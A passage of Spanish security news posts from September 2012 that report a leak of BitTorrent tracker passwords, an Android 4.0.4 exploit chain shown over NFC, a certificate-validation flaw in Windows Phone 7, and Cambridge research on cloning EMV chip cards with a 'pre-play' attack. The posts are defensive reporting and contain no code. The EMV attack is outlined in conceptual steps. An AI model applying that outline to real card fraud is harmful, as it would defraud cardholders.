Asimismo, el usuario 'Afghanis', quien envió el fichero a The Pirate Bay, dice contar con la base de datos de usuarios completa, con información de alrededor de 50.000 cuentas del tracker, que irá publicando en las próximas semanas.

No se tienen detalles acerca de como se logró acceder a estos datos. Se especula desde un posible ataque a los servidores hasta una fuga de un respaldo de la base de datos por parte de algún administrador. Incluso algunos usuarios del tracker comentan que los datos filtrados son antiguos. La página afectada afirma que no hubo ataque, y que las contraseñas no se almacenaban en texto claro. En ese caso el atacante debió además atacar al hash almacenado para mostrar las contraseñas tal cual. Esto nos lleva a pensar que, si realmente no se guardaban en texto claro, se usaba un hash "simple" (¿MD5?) sin sal para guardarlas. Por otro lado, observando  las contraseñas y suponiendo que sean reales, las hay muy complejas. Esto, sin embargo, resta fuerza a esa misma hipótesis de que el atacante se tomase el tiempo necesario para "crackear" ese hash. En cualquier caso, todo son especulaciones.

Si bien RevTT niega haber recibido ningún ataque, pasadas unas horas el sitio web fue bloqueado siendo imposible acceder a él. La página web mostraba un breve comunicado en el que explicaban que la web se encontraba caída y esperaban volver a estar operativos al día siguiente, tras la realización de algunos "retoques", aunque el tracker continúa en funcionamiento. Los retoques han consistido en obligar a que las contraseñas sean robustas (8 caracteres y alfanumérica), y navegación por HTTPS forzada.


  
Más información:

Filtran en The Pirate Bay más de 38.000 contraseñas del tracker de BitTorrent RevTT

Hackers Leak Thousands of Passwords From Large Private BitTorrent Tracker



Juan José Ruiz


miércoles, 19 de septiembre de 2012

Graves vulnerabilidades sin parche en Android 4.04

MWR Labs ha expuesto dos vulnerabilidades en la EuSecWest Conferenceen Amsterdam que podrían permitir ejecutar código y escalar privilegios en un terminal con sistema operativo Android. El fallo, aunque reproducido a través de NFC, no está en esta tecnología.

El equipo de MWR Labs demostró en la competición Mobile Pwn2Own un exploit capaz de aprovechar una combinación dos vulnerabilidades en teléfono Samsung Galaxy S3 con Android 4.0.4 que permitía obtener completo control del sistema.

La primera vulnerabilidad es una corrupción de memoria que podría permitir un control limitado del terminal. El fallo está en un "visor de documentos" que viene por defecto instalado en Android 4.04 de Galaxy S2, S3 y otros teléfonos HTC.

El equipo de MRW Labs utilizó la tecnología NFC (Near Field Communication) para cargar un archivo malicioso que les permitió la ejecución de código, aunque también sería posible descargar ese fichero desde una página web, adjunto en un email, etc.

La segunda vulnerabilidad permitiría elevar privilegios y evadir la sandbox del dispositivo, consiguiendo un control completo. De esta forma consiguieron instalar la herramienta "Mercury" y extraer de forma remota datos tales como la lista de contactos, SMS, emails, fotos, e incluso iniciar una llamada.

Según el propio equipo, se usó NFC para enviar el payload simplemente para que resultara más espectacular. Así, basta simplemente con estar muy cerca de un atacante para poder subir el exploit al sistema. Una vez comprometido, podría establecer una red Wi-Fi con el atacante para poder recuperar los datos robados (desde los SMS hasta los contactos, pasando por las fotografías).

La explotación es posible porque existen determinadas deficiencias en la implementación de ASLR y DEP en Android. No cubren "Bionic", el enlazador de Android, ni "/system/bin/app_process", responsable de iniciar las aplicaciones en el dispositivo.

MWR Labs no ha hecho pública más información acerca de las vulnerabilidades y su explotación por el momento, quedando a la espera de un parche que las solucione.

Más información:

Mobile Pwn2Own at EuSecWest 2012

Galaxy S3 hacked via NFC at Mobile Pwn2Own competition



Juan José Ruiz

martes, 18 de septiembre de 2012

Falsificación de certificados en teléfonos Windows Phone 7


Se ha descubierto una vulnerabilidad en Windows Phone 7 a la hora de comprobar los certificados X.509 de servidores POP3/IMAP/SMTP a través de SSL. Según los datos proporcionados por un investigador que permanece anónimo, el sistema operativo no valida correctamente los campos CN (Common Name, Nombre/dominio de Entidad) al no verificar si coincide el dominio del servidor con lo reportado por el campo CN del certificado proporcionado.

Windows Phone 7 es el nuevo sistema operativo de Microsoft destinado a terminales móviles y evolución del anterior Windows Mobile 6 perteneciente a la familia Windows CE. Esta nueva versión supone un rediseño total del sistema operativo, tanto en interfaz como en servicios, enfocándose en una mayor sencillez de uso para el usuario.

El fallo en la implementación de SSL, al que se le ha asignado el código CVE-2012-2993, permitiría engañar al usuario. La víctima creería conectarse a su servidor de correo por SSL, pero podría estar haciéndolo realmente a un servidor de un tercero incluso si comprobase el certificado.

Ejemplo del campo CN y dominio de un servidor en un certificado X.509 
A modo de ejemplo, la siguiente es una configuración normal de un servidor de correo en Apache mediante SSL, donde ServerName indica el nombre de dominio del servidor que será comprobado por el certificado:


Si este certificado es inválido (el campo CN del certificado no coincide con el contenido de ServerName) generaría errores.

Estas comprobaciones no son realizadas correctamente por Windows Phone, por lo que un atacante podría montar un servidor de correo SSL fraudulento y hacerse pasar por uno oficial. Si consigue redirigir el dominio (envenenando los DNS, por ejemplo, o a través de cualquier ataque MITM), podría averiguar el login o datos de sesión de la víctima y comprometer su correo a través de certificados  arbitrarios, puesto que el terminal no realiza las comprobaciones necesarias.

Microsoft está trabajando en una actualización del sistema que será proporcionada a través de las actualizaciones automáticas OTA desde los servidores oficiales. Fue notificado el 19 de junio de este año, aunque se ha hecho público recientemente..

Más información:

Vulnerability Note VU#389795



José Mesa Orihuela

lunes, 17 de septiembre de 2012

Un estudio desvela que es posible clonar tarjetas de crédito con chip

Un grupo de investigadores de la universidad de Cambridge han descubierto una vulnerabilidad en el sistema de seguridad que llevan las tarjetas con chip. Según este método, se podría llegar a clonar una tarjeta de crédito y efectuar una transacción fraudulenta.

EMV es un estándar de interoperabilidad desarrollado por Europay, MasterCard y Visa en los años 90 para la autenticación de pagos mediante tarjetas de crédito y de débito. Este nuevo sistema se planteó para sustituir a las inseguras tarjetas con banda magnética, cuyo sistema de seguridad no era suficiente para impedir su clonación.

Desde hace varios años, las tarjetas están abandonando la insegura banda magnética en favor del chip incrustado que contiene información cifrada. El acceso a la información requiere un código PIN secreto para que la operación se lleve a cabo correctamente. A grandes rasgos, el proceso a la hora de efectuar una transacción es el siguiente:

  • Cuando un terminal o ATM (Automatic Teller Machine) quiere iniciar una transacción, este envía toda la información (cantidad, moneda, fecha, etc...) a la tarjeta que se encuentra insertada, junto con un código llamado UN (Unpredictable Number) que el cajero o terminal genera al vuelo en el momento de la transacción.
        
  • La tarjeta usa una clave de cifrado secreta, que se encuentra guardada en el chip, para generar un código que autoriza la petición (ARQC) a partir de los datos de la transacción y el UN facilitado por el terminal. El ARQC es enviado de vuelta al terminal.
        
  • El ATM envía el código ARQC junto con el PIN cifrado y el UN en texto plano al banco de la tarjeta en cuestión.
        
  • Por último, el banco descifra el ARQC y valida la información que contiene. También valida el UN que contiene el ARQC que el terminal ha enviado en texto plano. Si ambos coinciden, la transacción es válida y autorizada.


fuente: http://www.cl.cam.ac.uk/~rja14/Papers/unattack.pdf

En particular, el caso que inició esta investigación fue el ocurrido a un cliente del banco HSBC por el que varias transacciones fraudulentas fueron realizadas a través de un terminal de Palma de Mallorca, el 29 de junio de 2011. Una vez conseguidos estos registros, fueron revisados y se pudo comprobar que unos de los campos que identifica la transacción, el UN, tenía poco de "unpredictable":

fuente: http://www.cl.cam.ac.uk/~rja14/Papers/unattack.pdf

En la mayoría de los casos analizados se comprobó que este valor era generado usando un algoritmo "aleatorio" bastante pobre (a veces, incluso contadores, dependiendo del terminal) permitiendo la posibilidad a un ataque de tipo "pre-play".

Un ejemplo de este tipo de ataques propuesto por estos investigadores es el siguiente:

  • Un negocio "tapadera" controlado por los atacantes, podrían usar un terminal modificado para guardar la información de la tarjeta y el PIN que el cliente ha introducido para realizar un pago legal. A la vez que se realice esa transacción, se puede obligar a la tarjeta a generar otro código ARQC para una transacción con fecha futura y UN específico. El UN será un número que los atacantes saben que será generado por un modelo específico de terminal en el futuro.

    Después de recibir el segundo código ARQC de la tarjeta, el atacante podrá crear una tarjeta clonada con la información de la tarjeta legítima y programarla con el código ARQC que contiene la información de la transacción futura. Por último, el atacante tendrá la posibilidad de efectuar una única transacción con esa tarjeta para la fecha que se fijó.


En resumen, se tendría un efecto similar al de clonación que existe hoy con las bandas magnéticas, pero con tarjetas protegidas con chip.

Los investigadores avisaron a los responsables de la pobre aleatoriedad de creación de los UN por parte de algunos terminales. Al parecer, no han recibido demasiada atención.

Terminan con una dura crítica hacia las entidades bancarias a las que acusan de conocer los riesgos que entraña este sistema de pago y aún así ocultarlos. Por su parte, la Financial Fraud Action (organización que se encarga de controlar el fraude financiero en Gran Bretaña) ha insistido en que en nunca dijeron que la eficacia de estas nuevas tarjetas fuese absoluta además de que, si bien es cierto que los atacantes puedan realizar operaciones fraudulentas, sería muy arriesgado.

Más información:

Chip and Skim: cloning EMV cards with the pre-play attack

Chip and pin 'weakness' exposed by Cambridge researchers



Daniel Vaca